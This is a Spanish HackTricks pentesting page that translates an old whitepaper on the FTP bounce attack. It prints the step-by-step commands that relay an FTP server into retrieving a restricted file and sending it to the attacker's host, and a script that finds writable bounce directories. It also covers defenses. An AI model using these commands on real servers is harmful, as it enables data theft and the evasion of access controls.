hacktricks/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md

15 KiB

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Resumen

Si tienes acceso a un servidor FTP bounce, puedes hacer que solicite archivos de otro servidor FTP donde conoces algunas credenciales y descargar ese archivo a tu propio servidor.

Requisitos

Credenciales válidas de FTP en el servidor FTP Intermedio Credenciales válidas de FTP en el servidor FTP Víctima Ambos servidores aceptan el comando PORT (ataque FTP bounce) Puedes escribir dentro de algún directorio del servidor FTP Intermedio El servidor intermedio tendrá más acceso dentro del servidor FTP Víctima que tú por alguna razón esto es lo que vas a explotar

Pasos

  1. Conéctate a tu propio servidor FTP y haz que la conexión sea pasiva comando pasv para que escuche en un directorio donde el servicio de la víctima enviará el archivo
  2. Crea el archivo que va a enviar el servidor FTP Intermedio al servidor Víctima el exploit. Este archivo será un texto plano con los comandos necesarios para autenticarse contra el servidor Víctima, cambiar el directorio y descargar un archivo a tu propio servidor.
  3. Conéctate al servidor FTP Intermedio y sube el archivo anterior
  4. Haz que el servidor FTP Intermedio establezca una conexión con el servidor víctima y envíe el archivo de exploit
  5. Captura el archivo en tu propio servidor FTP
  6. Elimina el archivo de exploit del servidor FTP Intermedio

Toda la información de este post fue extraída de: http://www.ouah.org/ftpbounce.html

El Ataque FTP Bounce

Este discute uno de los muchos posibles usos del "ataque de rebote del servidor FTP". El mecanismo utilizado es probablemente bien conocido, pero hasta la fecha el interés en detallarlo o solucionarlo parece bajo o inexistente. Este ejemplo particular demuestra otra forma en la que la mayoría de las "restricciones de exportación" impuestas electrónicamente son completamente inútiles y triviales de eludir. Se elige en un esfuerzo por hacer que el lector se dé cuenta de que hay algunos aspectos realmente mal concebidos del protocolo FTP estándar.

Gracias también a Alain Knaff en imag.fr por una breve pero entretenida discusión sobre algunos de estos temas hace un par de meses que me hizo pensar más profundamente sobre ellos.

El motivo

Eres un usuario en foreign.fr, con dirección IP F.F.F.F, y quieres recuperar el código fuente criptográfico de crypto.com en EE. UU. El servidor FTP en crypto.com está configurado para permitir tu conexión, pero denegar el acceso a las fuentes criptográficas porque tu dirección IP de origen es la de un sitio no estadounidense [según lo que su servidor FTP puede determinar del DNS, eso es]. En cualquier caso, no puedes recuperar directamente lo que deseas del servidor de crypto.com.

Sin embargo, crypto.com permitirá que ufred.edu descargue las fuentes criptográficas porque ufred.edu también está en EE. UU. Resulta que sabes que /incoming en ufred.edu es un directorio de escritura mundial en el que cualquier usuario anónimo puede depositar archivos y recuperarlos. La dirección IP de crypto.com es C.C.C.C.

El ataque

Esto asume que tienes un servidor FTP que hace modo pasivo. Abre una conexión FTP a la dirección IP real de tu propia máquina [no localhost] e inicia sesión. Cambia a un directorio conveniente al que tengas acceso de escritura, y luego haz:

pasv
stor foobar

Toma nota de la dirección y el puerto que se devuelven del comando PASV, F,F,F,F,X,X. Esta sesión de FTP ahora se colgará, así que minimízala o cambia a otra ventana o algo para continuar con el resto de esto.

Construye un archivo que contenga comandos del servidor FTP. Llamemos a este archivo "instrs". Se verá así:

user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...
Abre una conexión FTP a ufred.edu, inicia sesión de forma anónima y cambia al directorio /incoming. Ahora escribe lo siguiente en esta sesión de FTP, lo que transfiere una copia de tu archivo "`instrs`" y luego le indica al servidor FTP de ufred.edu que se conecte al servidor FTP de crypto.com utilizando tu archivo como los comandos:
put instrs
port C,C,C,C,0,21
retr instrs

Crypto.tar.Z ahora debería aparecer como "foobar" en tu máquina a través de tu primera conexión FTP. Si la conexión con ufred.edu no se cerró por sí misma debido a un error común del servidor, limpia eliminando "instrs" y saliendo. De lo contrario, tendrás que reconectar para terminar.

Discusión

Hay varias variantes de esto. Tu conexión de escucha PASV se puede abrir en cualquier máquina a la que tengas acceso de escritura de archivos: la tuya, otra conexión a ufred.edu o en algún lugar completamente no relacionado. De hecho, ni siquiera tiene que ser un servidor FTP: cualquier utilidad que escuche en un puerto TCP conocido y lea datos en bruto de él en un archivo servirá. Una conexión de datos FTP en modo pasivo es simplemente una forma conveniente de hacer esto.

Los nulos adicionales al final del archivo de comandos son para llenar las ventanas TCP en ambos extremos de la conexión ufred -> crypto y asegurar que la conexión de comandos permanezca abierta el tiempo suficiente para que se ejecute toda la sesión. De lo contrario, la mayoría de los servidores FTP tienden a abortar todas las transferencias y el procesamiento de comandos cuando la conexión de control se cierra prematuramente. El tamaño de los datos es suficiente para llenar tanto las ventanas de recepción como de transmisión, que en algunos sistemas operativos son bastante grandes [del orden de 30K]. Puedes reducir esto si conoces qué sistemas operativos están en cada extremo y la suma de sus tamaños de ventana TCP predeterminados. Se divide en líneas de 250 caracteres para evitar desbordar los búferes de comandos en el servidor objetivo, probablemente académico ya que ya le dijiste al servidor que se cerrara.

Si crypto.com prohíbe *cualquier* conexión de cliente FTP desde ti en foreign.fr y necesitas ver qué archivos están dónde, siempre puedes poner "list -aR" en tu archivo de comandos y obtener un listado de directorios de todo el árbol a través de ufred.

Puede que tengas que recuperar tu archivo de comandos al servidor FTP del objetivo en modo ASCII en lugar de modo binario. Algunos servidores FTP pueden manejar nuevas líneas en bruto, pero otros pueden necesitar líneas de comandos terminadas por pares CRLF. Ten esto en cuenta también al recuperar archivos a demonios que no sean servidores FTP.

Otras posibilidades

A pesar de que tales conexiones de terceros son solo de un sentido, se pueden usar para todo tipo de cosas. Métodos similares se pueden usar para publicar correos y noticias prácticamente imposibles de rastrear, atacar servidores en varios sitios, llenar discos, intentar saltar firewalls y, en general, ser molesto y difícil de rastrear al mismo tiempo. Un poco de reflexión traerá la realización de numerosas otras posibilidades aterradoras.

Las conexiones lanzadas de esta manera provienen del puerto de origen 20, que algunos sitios permiten a través de sus firewalls en un esfuerzo por lidiar con el problema de "datos de ftp". Para algunos propósitos, esto puede ser lo mejor después de los ataques con ruta de origen, y es probable que tenga éxito donde el enrutamiento de origen falla contra los filtros de paquetes. Y todo esto es posible gracias a la forma en que se escribió la especificación del protocolo FTP, permitiendo que las conexiones de control provengan de cualquier lugar y que las conexiones de datos vayan a cualquier lugar.

Defensas

Siempre habrá sitios en la red con servidores FTP antiguos y directorios escribibles que permitan este tipo de tráfico, por lo que decir "arreglar todos los servidores FTP" es la respuesta incorrecta. Pero puedes proteger el tuyo contra ser un punto de rebote de terceros y que otro sea usado en tu contra.

Lo primero obvio que hacer es permitir que un servidor FTP solo haga conexiones de datos al mismo host de donde se originó la conexión de control. Esto no previene el ataque anterior, por supuesto, ya que el oyente PASV podría estar igualmente en ufred.edu y así cumplir con ese requisito, pero sí previene que *tu* sitio sea un punto de rebote potencial. También rompe el concepto de "FTP proxy", pero escondido en algún lugar de este párrafo hay un violín muy pequeño.

Lo siguiente obvio es prohibir conexiones de control FTP que provengan de puertos reservados, o al menos del puerto 20. Esto previene el escenario anterior tal como se ha planteado.

Ambas cosas, más la habitual charla sobre bloquear paquetes con ruta de origen y otras vías de suplantación, son necesarias para prevenir hacks de este tipo. Y piensa si realmente necesitas un directorio "entrante" abierto.

Permitir solo conexiones de datos de cliente en modo pasivo es otra posibilidad, pero todavía hay demasiados clientes FTP en uso que no son conscientes del modo pasivo.

"Un consenso flexible y código en funcionamiento"

Hay algunos trabajos existentes que abordan esto disponibles aquí en avian.org [y han estado durante varios meses, debo agregar] en el "archivo de fixkits". Se presentan varias modificaciones a wu-ftpd-2.4, que incluyen código para prevenir y registrar intentos de usar comandos PORT falsos. También se incluyen correcciones de seguridad recientes de otros lugares, junto con soporte s/key y varias opciones de compilación para reforzar la seguridad para aplicaciones específicas.

Stan Barber en academ.com está trabajando en fusionar estas y varias otras correcciones en una verdadera actualización de wu-ftpd. Hay un par de otros esfuerzos divergentes en marcha. En ningún lugar se afirma que alguno de estos trabajos esté completo todavía, pero es un comienzo hacia algo que he tenido en mente por un tiempo: un lanzamiento de wu-ftpd-2.5 a nivel de red, con contribuciones de toda la red. El servidor wu-ftpd se ha vuelto muy popular, pero necesita urgentemente otra actualización de seguridad. Sería bueno reunir todas las mejoras en un lugar coordinado, y parece que sucederá. Todo esto todavía no ayudará a las personas que insisten en ejecutar servidores suministrados por el proveedor, por supuesto.

La verificación de la cordura del puerto de origen de la conexión del cliente no está implementada específicamente en las correcciones del servidor FTP, sino en modificaciones al paquete tcp-wrappers de Wietse, ya que este problema es más general. Se agrega una simple opción PORT que niega conexiones de rangos configurables de puertos de origen en la etapa de tcpd, antes de que se ejecute un demonio llamado.

Algunos de esto se señala por /src/fixkits/README en el área de FTP anónimo aquí. Lee esta hoja de ruta antes de agarrar otras cosas.

Notas

Agregar los nulos al final del archivo de comandos fue la clave para hacer que esto funcionara contra una variedad de demonios. Simplemente enviar los datos deseados generalmente fallaría debido al cierre inmediato que señala al demonio para salir.

Si WUSTL no ha renunciado por completo al proyecto wu-ftpd, están manteniendo muy en silencio sobre trabajos futuros. Bryan O'Connor parece tener muchos otros proyectos que atender por ahora...

Este es un script trivial para encontrar directorios y archivos de propiedad de ftp y escribibles por todos en un servidor FTP anónimo basado en Unix. Te sorprendería cuántos de esos puntos de rebote escribibles aparecen después de una breve ejecución de algo como esto. Tendrás que verificar más tarde que puedes tanto PUT como GET archivos de tales lugares; algunos servidores protegen los archivos subidos contra la lectura. Muchos no lo hacen, y luego se preguntan por qué están entre los diez principales sitios de warez de esta semana...

#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
BEGIN { idir = "/" ; dirp = 0 }
/.:$/ { idir = $0 ; dirp = 1 ; }
/^[-d][-r](......w.|........  *[0-9]* ftp  *)/ {
if (dirp == 1) print idir
dirp = 0
print $0
} '
rm xxx.$$

Supongo que se podría llamar a esto un documento técnico. Está disponible en avian.org en /random/ftp-attack así como publicado en varios lugares relevantes. _H* 950712

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: